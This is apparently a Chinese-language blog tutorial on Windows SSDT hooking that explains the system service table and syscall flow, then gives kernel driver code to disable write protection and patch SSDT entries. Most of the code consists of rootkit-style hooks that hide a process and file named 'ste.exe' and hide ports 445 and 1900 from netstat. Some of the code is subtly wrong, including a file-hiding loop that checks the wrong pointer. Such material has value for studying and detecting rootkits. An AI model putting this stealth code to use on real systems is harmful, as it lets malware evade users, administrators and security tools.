SSDT Hook技術詳解與應用

SSDT Hook技術詳解與應用

一、SSDT簡介

1、什麼是SSDT

​ SSDT 的全稱是 System Services Descriptor Table,系統服務描述符表。這個表就是一個把 Ring3 的 Win32 API 和 Ring0 的內核 API 聯繫起來。SSDT 並不僅僅只包含一個龐大的地址索引表,它還包含着一些其它有用的信息,諸如地址索引的基地址、服務函數個數等。通過修改此表的函數地址可以對常用 Windows 函數及 API 進行 Hook,從而實現對一些關心的系統動作進行過濾、監控的目的。一些 HIPS、防毒軟件、系統監控、註冊表監控軟件往往會採用此接口來實現自己的監控模塊。

​ 在 NT 4.0 以上的 Windows 操作系統中,默認就存在兩個系統服務描述表,這兩個調度表對應了兩類不同的系統服務,這兩個調度表爲:KeServiceDescriptorTable 和 KeServiceDescriptorTableShadow,其中 KeServiceDescriptorTable 主要是處理來自 Ring3 層得 Kernel32.dll 中的系統調用,而 KeServiceDescriptorTableShadow 則主要處理來自 User32.dll 和 GDI32.dll 中的系統調用,並且 KeServiceDescriptorTable 在 ntoskrnl.exe(Windows 操作系統內核文件,包括內核和執行體層)是導出的,而 KeServiceDescriptorTableShadow 則是沒有被 Windows 操作系統所導出,而關於 SSDT 的全部內容則都是通過 KeServiceDescriptorTable 來完成的。

2、SSDT結構

​ 下圖是IDA分析的ntoskrnl.exe中導出的KeServiceDescriptorTable 結構。

img

​ 下面是KeServiceDescriptorTable 的具體含義。

~~~c++
typedef struct _KSYSTEM_SERVICE_TABLE{
PULONG ServiceTableBase; // SSDT (System Service Dispatch Table)的基地址
PULONG ServiceCounterTableBase; // 用於 checked builds, 包含 SSDT 中每個服務被調用的次數
ULONG NumberOfService; // 服務函數的個數, NumberOfService * 4 就是整個地址表的大小
ULONG ParamTableBase; // SSPT(System Service Parameter Table)的基地址
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;

​ 有了上面的介紹後,我們可以簡單的將 KeServiceDescriptor 看做是一個數組了(其實質也就是個數組),**在應用層 ntdll.dll 中的 API 在這個系統服務描述表(SSDT)中都存在一個與之相對應的服務,當我們的應用程序調用 ntdll.dll 中的 API 時,最終會調用內核中與之相對應的系統服務,由於有了 SSDT,所以我們只需要告訴內核需要調用的服務所在 SSDT 中的索引就 OK 了,然後內核根據這個索引值就可以在 SSDT 中找到相對應的服務了,然後再由內核調用服務完成應用程序 API 的調用請求即可。基本結構可以參考下圖:

ssdt1

3、應用層調用 Win32 API 的完整執行流程

​ 有了上面的 SSDT 基礎後,我們再來看一下在應用層調用 Win32 API(這裏主要指的是 ntdll.dll 中的 API)的完整流程,這裏我們主要是分析 ntdll.dll 中的 NtQuerySystemInformation 這個 API 的調用流程。

(PS:Windows 任務管理器即是通過這個 API 來獲取到系統的進程等等信息的)。

ring03

再給出這些個 API 的基本的調用流程

ring03-2

​ 實質上,在 Windows 操作系統中,Ntdll.dll 中的ZwQuerySystemInformation 和 NtQuerySystemInformation 是同一函數,可以通過下面的截圖看出,這兩個函數的入口地址指向同一區域,他們的函數入口地址都是一樣的 。

​ 衆所周知 Ntdll.dll 中的 API 都只不過是一個簡單的包裝函數而已,當 Kernel32.dll 中的 API 通過 Ntdll.dll 時,會完成參數的檢查,再調用一箇中斷(int 2Eh 或者 SysEnter 指令),從而實現從 Ring3 進入 Ring0 層,並且將所要調用的服務號(也就是在 SSDT 數組中的索引值)存放到寄存器 EAX 中,並且將參數地址放到指定的寄存器(EDX)中,再將參數複製到內核地址空間中,再根據存放在 EAX 中的索引值來在 SSDT 數組中調用指定的服務 。

下面來看 ntoskrnl.exe 中的 ZwQuerySystemInformation:

ZwQuerySystemInformation

​ 在上面的這幅截圖中,可以看到在 Ring0 下的 ZwQuerySystemInformation 將 0ADh 放入了寄存器 eax 中,然後調用了系統服務分發函數 KiSystemService,而這個 KiSystemService 函數則是根據 eax 寄存器中的索引值,然後再 SSDT 數組中找到索引值爲 eax 寄存器中存放的值得那個 SSDT 項,最後就是根據這個 SSDT 項中所存放的系統服務的地址來調用這個系統服務。比如在這裏就是調用 KeServiceDescriptorTable[0ADh] 處所保存的地址所對應的系統服務 。也就是調用 Ring0 下的 NtQuerySystemInformation 了 。至此,在應用層中調用 NtQuerySystemInformation 的全部流程也就結束了 。

二、SSDT Hook原理

1、SSDT Hook原理簡介

​ 有了上面的這部分基礎後,就可以來看 SSDT HOOK 的原理了,其實 SSDT Hook 的原理是很簡單的,從上面的分析中,我們可以知道在 SSDT 這個數組中,保存了系統服務的地址,比如對於 Ring0 下的 NtQuerySystemInformation 這個系統服務的地址,就保存在 KeServiceDescriptorTable[0ADh] 中,既然是 Hook 的話,我們就可以將這個 KeServiceDescriptorTable[0ADh] 下保存的服務地址替換掉,將我們自己的 Hook 處理函數的地址來替換掉原來的地址,這樣當每次調用 KeServiceDescriptorTable[0ADh]時就會調用我們自己的這個 Hook 處理函數了。

下面截圖是SSDT Hook之前:

ssdthook1

​ 下面的截圖則是 SSDT Hook 之後,可以看到將 SSDT 中的服務地址修改爲 MyHookNtQuerySystemInformation 了,這樣的話,每次系統調用 NtQuerySystemInformation 這個系統服務時,實質上調用的就是MyHookNtQuerySystemInformation 了,而我們爲了保證系統的穩定性(至少不讓其崩潰),一般會在 MyHookNtQuerySystemInformation 中調用系統中原來的服務,也就是 NtQuerySystemInformation。

ssdthook2

下面來看一下備份、修改、還原SSDT的具體代碼:

//=====================================================================================//
//Name:KSYSTEM_SERVICE_TABLE  |  KSERVICE_TABLE_DESCRIPTOR 定義                        //
//                                                                                     //
//Descripion: 定義SSDT表結構與獲取函數索引值和地址的基本方法                              //
//                                                                                     //
//=====================================================================================//
typedef struct _KSYSTEM_SERVICE_TABLE
{
    PULONG  ServiceTableBase;        // SSDT (System Service Dispatch Table)的基地址
    PULONG  ServiceCounterTableBase; // 包含 SSDT 中每個服務被調用的次數
    ULONG   NumberOfService;     // 服務函數的個數, NumberOfService * 4 就是整個地址表的大小
    ULONG   ParamTableBase;          // SSPT(System Service Parameter Table)的基地址
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;

typedef struct _KSERVICE_TABLE_DESCRIPTOR
{
    KSYSTEM_SERVICE_TABLE   ntoskrnl; // ntoskrnl.exe 的服務函數
    KSYSTEM_SERVICE_TABLE   win32k;   // win32k.sys 的服務函數(GDI32.dll/User32.dll 的內核支持)
    KSYSTEM_SERVICE_TABLE   notUsed1;
    KSYSTEM_SERVICE_TABLE   notUsed2;
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;

extern PKSERVICE_TABLE_DESCRIPTOR KeServiceDescriptorTable;

#define SYSCALL_FUNCTION(ServiceFunction) KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[SYSCALL_INDEX(ServiceFunction)]
#define SYSCALL_INDEX(ServiceFunction) (*(PULONG)((PUCHAR)ServiceFunction + 1))

#define MAX_SYSTEM_SERVICE_NUMBER 0x128
//用來保存 SSDT 中所有的舊的服務函數的地址
ULONG oldSysServiceAddr[MAX_SYSTEM_SERVICE_NUMBER];

//=====================================================================================//
//Name: VOID DisableWriteProtect()                                                     //
//                                                                                     //
//Descripion: 用來去掉內存的可寫屬性,從而實現內存只讀                                 //
//                                                                                     //
//=====================================================================================//
VOID DisableWriteProtect(ULONG oldAttr)
{
    _asm
    {
        push eax
        mov eax, oldAttr
        mov cr0, eax
        pop eax
        sti;
    }
}

//=====================================================================================//
//Name: VOID EnableWriteProtect()                                                      //
//                                                                                     //
//Descripion: 用來去掉內存的只讀保護,從而實現可以寫內存                               //
//                                                                                     //
//=====================================================================================//
VOID EnableWriteProtect(PULONG pOldAttr)
{
    ULONG uAttr; 
    _asm 
    { 
        cli;
        push eax
        mov  eax, cr0; 
        mov  uAttr, eax; 
        and  eax, 0FFFEFFFFh; // CR0 16 BIT = 0 
        mov  cr0, eax; 
        pop eax
     }; 
   //保存原有的 CRO 屬性 
    *pOldAttr = uAttr; 
}

//=====================================================================================//
//Name: VOID BackupSysServicesTable()                                                  //
//                                                                                     //
//Descripion: 備份 SSDT 中原有服務的地址,因爲在解除 Hook 時需要還原 SSDT 中原有地址   //
//                                                                                     //
//=====================================================================================//
VOID BackupSysServicesTable()
{
    ULONG i;
    for(i = 0; (i < KeServiceDescriptorTable->ntoskrnl.NumberOfService) && (i < MAX_SYSTEM_SERVICE_NUMBER); i++)
    {
      oldSysServiceAddr[i] = KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[i];
    }
}
//=====================================================================================//
//Name: NTSTATUS InstallSysServiceHook()                                             //
//                                                                                     //
//Descripion: 實現 Hook 的安裝,主要是在 SSDT 中將服務地址替換爲新服務地址                //
//                                                                                     //
//=====================================================================================//
NTSTATUS InstallSysServiceHook(ULONG oldService, ULONG newService)
{
    ULONG uOldAttr = 0;
    EnableWriteProtect(&uOldAttr);
    SYSCALL_FUNCTION(oldService) = newService;
    DisableWriteProtect(uOldAttr);
    return STATUS_SUCCESS;
 }

//=====================================================================================//
//Name: NTSTATUS UnInstallSysServiceHook()                                             //
//                                                                                     //
//Descripion: 實現 Hook 的解除,主要是在 SSDT 中用備份下的服務地址來替換掉 oldService  //
//                                                                                     //
//=====================================================================================//
NTSTATUS UnInstallSysServiceHook(ULONG oldService)
{
    ULONG uOldAttr = 0;
    EnableWriteProtect(&uOldAttr);
    SYSCALL_FUNCTION(oldService) = oldSysServiceAddr[SYSCALL_INDEX(oldService)];
    DisableWriteProtect(uOldAttr);
    return STATUS_SUCCESS;
}

2、進程隱藏與保護

NTSTATUS HookNtQuerySystemInformation (
    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
    OUT PVOID SystemInformation,
    IN ULONG SystemInformationLength,
    OUT PULONG ReturnLength)
{
    NTSTATUS rtStatus=STATUS_SUCCESS;
    NTQUERYSYSTEMINFORMATION pOldNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)oldSysServiceAddr[SYSCALL_INDEX(ZwQuerySystemInformation)];
    rtStatus = pOldNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
    if(NT_SUCCESS(rtStatus))
    {
        if(SystemProcessInformation==SystemInformationClass)
        {
            PSYSTEM_PROCESS_INFORMATION pPrevProcessInfo = NULL;
            PSYSTEM_PROCESS_INFORMATION pCurrProcessInfo = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
            UNICODE_STRING hideProcessName;
            RtlInitUnicodeString(&hideProcessName,L"ste.exe");
            while(pCurrProcessInfo != NULL)
            {
                //獲取當前遍歷的 SYSTEM_PROCESS_INFORMATION 節點的進程名稱和進程 ID
                ULONG uPID = (ULONG)pCurrProcessInfo->ProcessId;
                UNICODE_STRING strTmpProcessName;
                //RtlInitUnicodeString(&strTmpProcessName,L"");
                strTmpProcessName = pCurrProcessInfo->ImageName;
                //判斷當前遍歷的這個進程是否爲需要隱藏的進程
                if(unicodeStrCmp(hideProcessName,strTmpProcessName,strTmpProcessName.Length))
                {

                    if(pPrevProcessInfo)
                    {
                        if(pCurrProcessInfo->NextEntryOffset)
                        {
                             //將當前這個進程(即要隱藏的進程)從 SystemInformation 中摘除(更改鏈表偏移指針實現)
                            pPrevProcessInfo->NextEntryOffset += pCurrProcessInfo->NextEntryOffset;
                        }
                        else
                        {
                            //說明當前要隱藏的這個進程是進程鏈表中的最後一個
                            pPrevProcessInfo->NextEntryOffset = 0;
                        }
                    }
                    else
                    {
                         //第一個遍歷到得進程就是需要隱藏的進程
                         if(pCurrProcessInfo->NextEntryOffset)
                             (PCHAR)SystemInformation += pCurrProcessInfo->NextEntryOffset;
                         else
                             SystemInformation = NULL;
                    }
                }
                //遍歷下一個 SYSTEM_PROCESS_INFORMATION 節點
                pPrevProcessInfo = pCurrProcessInfo;
                //遍歷結束
                if(pCurrProcessInfo->NextEntryOffset)
                    pCurrProcessInfo = (PSYSTEM_PROCESS_INFORMATION)(((PCHAR)pCurrProcessInfo) + pCurrProcessInfo->NextEntryOffset);
                else
                    pCurrProcessInfo=NULL;


            }
        }
    }
    return rtStatus;
}

3、文件隱藏與保護

NTSTATUS HookZwQueryDirectoryFile(
    IN HANDLE hFile,
    IN HANDLE hEvent,
    IN PIO_APC_ROUTINE IoApcRoutine,
    IN PVOID IoApcContext,
    OUT PIO_STATUS_BLOCK pIoStatusBlock,
    OUT PVOID FileInformationBuffer,
    IN ULONG FileInformationBufferLength,
    IN FILE_INFORMATION_CLASS FileInfoClass,
    IN BOOLEAN ReturnOnlyOneEntry,
    IN PUNICODE_STRING FileName,
    IN BOOLEAN RestartQuery)
{
    NTSTATUS ntStatus;
    LPFILE_NAMES_INFORMATION fileCurr;
    LPFILE_NAMES_INFORMATION filePrev;
    PFILE_BOTH_DIR_INFORMATION pFileInfo;
    PFILE_BOTH_DIR_INFORMATION pPrevFileInfo;
    BOOLEAN lastOne;
    ULONG left;
    ULONG pos;
    WCHAR * hideFileName=L"ste.exe";
    ZWQUERYDIRECTORYFILE pOldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)oldSysServiceAddr[SYSCALL_INDEX(ZwQueryDirectoryFile)];
    ntStatus=((ZWQUERYDIRECTORYFILE)(pOldZwQueryDirectoryFile))(
        hFile,
        hEvent,
        IoApcRoutine,
        IoApcContext,
        pIoStatusBlock,
        FileInformationBuffer,
        FileInformationBufferLength,
        FileInfoClass,
        ReturnOnlyOneEntry,
        FileName,
        RestartQuery);
    if(!bHideFile)
        return ntStatus;
    //RtlInitUnicodeString(&hideFileName,L"ste.exe");
    if(NT_SUCCESS(ntStatus)&& FileInfoClass==FileBothDirectoryInformation)
    {
        pFileInfo=(PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;
        pPrevFileInfo=NULL;
        do {

            lastOne=!(pFileInfo->NextEntryOffset);
            //RtlInitUnicodeString(&fileNameWide,pFileInfo->FileName);
            if(wcharStrCmp(hideFileName,pFileInfo->FileName,14,pFileInfo->FileNameLength))
            {
                if(lastOne)
                {
                    if(pFileInfo==(PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)
                        ntStatus=0x80000006;
                    else
                        pPrevFileInfo->NextEntryOffset=0;
                }
                else
                {
                    pos=((ULONG)pFileInfo)-((ULONG)FileInformationBuffer);
                    left=(ULONG)FileInformationBufferLength-pos-pFileInfo->NextEntryOffset;
                    RtlCopyMemory((PVOID)pFileInfo,(PVOID)((char *)pFileInfo+pFileInfo->NextEntryOffset),(ULONG)left);
                    continue;
                }
            }
            pPrevFileInfo=pFileInfo;
            pFileInfo=(PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo+pFileInfo->NextEntryOffset);
            //fileCurr=(LPFILE_NAMES_INFORMATION)((char *)fileCurr+fileCurr->NextEntryOffset);
        } while(!lastOne);
    }
    if (NT_SUCCESS(ntStatus) && FileInfoClass==FileNamesInformation)
    {
        fileCurr=(LPFILE_NAMES_INFORMATION)FileInformationBuffer;
        do 
        {
            lastOne=!(fileCurr->NextEntryOffset); //取偏移
            //fileNameLength=fileCurr->FileNameLength; //取長度
            //RtlInitUnicodeString(&fileNameWide,fileCurr->FileName);
            if(wcharStrCmp(hideFileName,pFileInfo->FileName,14,pFileInfo->FileNameLength))
            {
                if(lastOne)
                {
                    if (fileCurr==(LPFILE_NAMES_INFORMATION)FileInformationBuffer)
                        ntStatus=0x80000006; //隱藏
                    else
                        filePrev->NextEntryOffset=0;
                }
                else
                {
                    //移動文件偏移
                    pos=((ULONG)fileCurr)-((ULONG)FileInformationBuffer);
                    left=(ULONG)FileInformationBufferLength-pos-fileCurr->NextEntryOffset;
                    RtlCopyMemory((PVOID)fileCurr,(PVOID)((char *)fileCurr+fileCurr->NextEntryOffset),(ULONG)left);
                    continue;
                }
            }
            filePrev=fileCurr;
            fileCurr=(LPFILE_NAMES_INFORMATION)((char *)fileCurr+fileCurr->NextEntryOffset);
        }
        while(!lastOne);
    }
    return ntStatus;
}

4、端口隱藏

NTSTATUS HookZwDeviceIoControlFile(
    IN HANDLE FileHandle,
    IN HANDLE Event,
    IN PIO_APC_ROUTINE ApcRoutine,
    IN PVOID ApcContext,
    OUT PIO_STATUS_BLOCK IoStatusBlock,
    IN ULONG IoControlCode,
    IN PVOID InputBuffer,
    IN ULONG InputBufferLength,
    OUT PVOID OutputBuffer,
    IN ULONG OutputBufferLength)
{

    NTSTATUS rtStatus=STATUS_SUCCESS;
    TCPAddrEntry* TcpTable;
    TCPAddrExEntry* TcpExTable;
    UDPAddrEntry* UdpTable;
    UDPAddrExEntry* UdpExTable;
    ULONG numconn;
    ULONG i;
    ULONG RetLen;

    UCHAR buff[512];
    POBJECT_NAME_INFORMATION ObjectName=(PVOID)&buff;
    ANSI_STRING ObjectNameAnsi;
    PUCHAR InBuff;


    ZWDEVICEIOCONTROLFILE pOldZwDeviceIoControlFile = (ZWDEVICEIOCONTROLFILE)oldSysServiceAddr[SYSCALL_INDEX(ZwDeviceIoControlFile)];
    rtStatus = ((ZWDEVICEIOCONTROLFILE)(pOldZwDeviceIoControlFile)) (
        FileHandle,
        Event,
        ApcRoutine,
        ApcContext,
        IoStatusBlock,
        IoControlCode,
        InputBuffer,
        InputBufferLength,
        OutputBuffer,
        OutputBufferLength);
    if(NT_SUCCESS(rtStatus) && IoControlCode==0x120003)//netstat use this IoControlCode
    {
        if(NT_SUCCESS(ZwQueryObject(FileHandle,ObjectNameInformation,ObjectName,512,&RetLen)))
        {
            RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);
            if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,strlen(TCP_PORT_DEVICE))==0)
            {
                if (((InBuff=(PUCHAR)InputBuffer)==NULL) || (InputBufferLength<17))//InputBuffer is wrong
                    return rtStatus;
                //對於TCP查詢,輸入緩衝的特徵是 InputBuffer[0]爲0x00,如果OutputBuffer中已經有了端口數據,則InputBuffer[17]爲0x01,
                //如果是擴展結 構,則InputBuffer[16]爲0x02。對於UDP查詢,InputBuffer[0]就爲0x01了,InputBuffer[16]和 InputBuffer[17]的值和TCP查詢是一樣的。

//-------------------------------------------------------TCP----------------------------------------------------------------------------
                if ((InBuff[0]==0x00) && (InBuff[17]==0x01)) //TCP端口
                {
                    if (InBuff[16]!=0x02) //非擴展結構
                    {
                        numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);
                        TcpTable = (TCPAddrEntry*)OutputBuffer;
                        for( i=0; i<numconn; i++ )
                        {
                            if( ntohs(TcpTable[i].tae_ConnLocalPort) == 445 )
                            {
                                //DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(TcpTable[i].tae_ConnLocalPort));
                                memcpy( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) );
                                numconn--;
                                i--;
                            }
                        }
                        IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);
                    }
                    if(InBuff[16]==0x02)//擴展結構
                    {
                        numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);
                        TcpExTable = (TCPAddrExEntry*)OutputBuffer;
                        for( i=0; i<numconn; i++ )
                        {
                            if( ntohs(TcpExTable[i].tae_ConnLocalPort) == 445 )
                            if(TcpExTable[i].pid==0)
                            {
                                //DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(TcpExTable[i].tae_ConnLocalPort));
                                memcpy( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) );
                                numconn--;
                                i--;
                            }
                        }
                        IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);
                    }
                }
//-----------------------------------------------------------UDP---------------------------------------------------------------
                if ((InBuff[0]==0x01) && (InBuff[17]==0x01)) //TCP端口
                {
                    if (InBuff[16]!=0x02) //非擴展結構
                    {
                        numconn = IoStatusBlock->Information/sizeof(UDPAddrEntry);
                        UdpTable = (UDPAddrEntry*)OutputBuffer;
                        for( i=0; i<numconn; i++ )
                        {
                            if( ntohs(UdpTable[i].tae_ConnLocalPort) == 1900 )
                            {
                                //DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(UdpTable[i].tae_ConnLocalPort));
                                memcpy( (UdpTable+i), (UdpTable+i+1), ((numconn-i-1)*sizeof(UDPAddrEntry)) );
                                numconn--;
                                i--;
                            }
                        }
                        IoStatusBlock->Information = numconn*sizeof(UDPAddrEntry);
                    }
                    if(InBuff[16]==0x02)//擴展結構
                    {
                        numconn = IoStatusBlock->Information/sizeof(UDPAddrExEntry);
                        UdpExTable = (UDPAddrExEntry*)OutputBuffer;
                        for( i=0; i<numconn; i++ )
                        {
                            if( ntohs(UdpExTable[i].tae_ConnLocalPort) == 1900 )
                            {
                                //DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(UdpExTable[i].tae_ConnLocalPort));
                                memcpy( (UdpExTable+i), (UdpExTable+i+1), ((numconn-i-1)*sizeof(UDPAddrExEntry)) );
                                numconn--;
                                i--;
                            }
                        }
                        IoStatusBlock->Information = numconn*sizeof(UDPAddrExEntry);
                    }
                }
            }

        }
    }
    return rtStatus;
}
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章